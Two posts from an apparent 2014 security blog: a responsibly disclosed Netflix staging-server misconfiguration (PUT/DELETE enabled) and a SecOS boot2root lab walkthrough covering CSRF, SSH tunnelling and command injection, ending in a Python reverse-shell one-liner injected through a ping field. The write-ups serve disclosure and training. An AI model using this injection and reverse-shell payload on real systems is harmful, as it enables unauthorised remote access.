Tuesday, 8 July 2014

Thursday, 12 June 2014

Netflix Security Misconfiguration Vulnerability

In this blog post I will talk about how I found a security misconfiguration vulnerability on Netflix, more specifically a misconfiguration with their development server which left the PUT/DELETE methods enabled to external users.

The vulnerability existed on this particular server: https://staging.teststudio.netflix.com. I initially found this URL from googling around and slowly removing common words from the search results. The exact Google search looked something like this: "site:netflix.com -help -blog -openconnect -locale -dvd -ir -developer -support".

After locating the URL, I loaded up Burp Suite and starting intercepting requests to see what was happening. I sent "OPTIONS / HTTP/1.0" to "https://staging.teststudio.netflix.com" and to my surprise it returned PUT and DELETE in the response as allowed HTTP methods, awesome!

I altered my request in Burp Suite and sent the following request to https://staging.teststudio.netflix.com:

(Just a quick note, I am aware that the alert message in the request is not the same as what is returned in the response in the screenshot below. These were initial screenshots I took as soon as I found the vulnerability. When I submitted it to Netflix, I changed the PoC slightly so it displayed a proper message :))

Great, it had created my file. Now if I navigate to https://staging.teststudio.netflix.com/vuln.html, I could see that my file was there and I could access it:

Additionally, I could alter my Burp Suite request to delete the file as well:

That is pretty much the vulnerability in a nut shell. To be honest it's hardly anything super exciting but I am still happy I was able to find the vulnerability. Also, I could have probably taken it further and got command execution (or something equally awesome) but I decided not to and just reported the vulnerability as it was. 

I contacted Netflix's security guys using this email address: security-report(at)netflix.com and the issue was fixed within a few weeks. As a reward for reporting this vulnerability, Netflix put my name on their Hall of Fame.

Thanks for reading. 

Sunday, 25 May 2014

SecOS Vulnerable VM Write-up

In this blog post I will talk about how I got root on the SecOS vulnerable VM.

You can download the VM from here: http://www.vulnhub.com/entry/secos-1,88/.

This is a brief description of the VM taken from vulnhub:

"Not too tired after BSides London? Still want to solve challenges? Here is the VM I told about during my talk where you'll have to practice some of your skills to retrieve the precious flag located here: /root/flag.txt. This VM is an entry-level boot2root and is web based.
This VM is the first of a series which I'm currently creating where there will be links between all of them. Basically, each machine in the series will rely/depend on each other, so keep the flags for the next VMs.
This has been tested on VirtualBox and gets its IP from the DHCP server. Moreover, if you find yourself bruteforcing, you're doing something wrong. It is not needed and it wasn't designed to be done this way. Instead, focus on exploiting web bugs!
If you have any questions, feel free to ask me on Twitter @PaulWebSec or throw me a mail: paulwebsec(at)gmail(dot)com".

To start off I ran netdiscover to discover the IP, as seen below:

Command: netdiscover

Now that I discovered the IP was, I ran a quick Nmap scan against the box to see if that could tell me any interesting information:

Command: nmap

Seeing as this is a web based VM, it is safe to assume that the web server is running on port 8081, so I loaded up my browser and navigated to It's a fairly standard interface featuring a login page, an about page and sign up page, and once logged in a change password feature, a user list and another feature which allowed users to send messages to each other. Once you are logged in there are already three users registered: one administrator user (spiderman) and two normal users (pirate and test).

Looking on the about page it told me some information about the database technology they were using, which was MongoDB. So, I started Googling around and found some information regarding injection in MongoDB. I spent a good while messing around with this and had absolutely zero luck. After hitting my head on the table for a bit, I loaded up dirbuster and let that run to see if there were any hidden directories, etc. After a while it found a folder called '/hint' - awesome! I navigated towards that page, opened up the source and towards the bottom I found this:

Cool, so we now know the admin visits the website really frequently, he runs it locally and there is a CSRF vulnerability (probably within the password feature) with a regular expression showing the format that link needs to be in.

My initial thought was there might be a stored XSS vulnerability in the messages feature so that when the admin visited the website and checked his messages, the javascript would execute, redirecting the admin to my CSRF page and changing their password. However, after playing around with this for a while, I found out this unfortunately wasn't where the vulnerability. To my surprise, it was even easier than this to exploit the CSRF. All I had to do was send a link to the administrator in the format specified by the regular expression on the '/hint' page and I could change his password.

In order to do this I created a simple CSRF exploit and put it in '/var/www' folder:

Now all I had to do was send a message to the administrator with the link:

Once this had been sent I checked my Apache logs and saw that the link had been clicked, as seen below:

Cool beans. So, signed out of my test account that I signed up with originally and I could now login as the administrator 'spiderman' with the password 'password'. After this I went straight to his messages and found this:

Once I saw this I SSHed into the box using the username 'spiderman' and password 'CrazyPassword!'

Command: ssh spiderman@

Once I was logged in I tried 'whoami' and discovered i'm still not the root user, sad times. I searched around for a bit and found a file called 'internalServer.js' which meant there was another part to this challenge. I had a look in 'internalServer.js', read the source code and discovered it was a webpage running on with a ping feature....command injection, HELLO!

I had to make sure the internal server was running as root, else I would just be in the same situation as I would be if I was logged in as spiderman. I checked to see which user internalserver.js was running as and luckily it was root.

Command: ps aux | grep internal

Seeing as this was running locally on this box and there was no web browser for me to see the actual webpage, I set up an SSH tunnel so I could access the localhost on the SecOS box using my attacking box.

Command:  ssh -f spiderman@ -L 4444: -N

Now I had done this I could access the page on my attacking box using 'localhost:4444'. This was the page that I had presented to me:

I tried the command ' && ls' and the browser just hanged there for ages. I then remembered that ping in Linux doesn't terminate after x amount requests, so I have to tell it to stop using the operator '-c 1'. So my newly revised command is ' -c 1 && ls', and once I had put this in and clicked Ping! it showed me a list of directories, fantastic! All I needed to do now was get a shell using this vulnerability and then it was definitely gameover.

By running the following command in the ping feature ' -c 1&& python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("",1337));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);''  and making sure I set up my netcat listening on port 1337 on my attacking box, I now had root access:

The final part of the challenge was to read the file in /root/flag.txt:

Done and done.

Thanks for reading!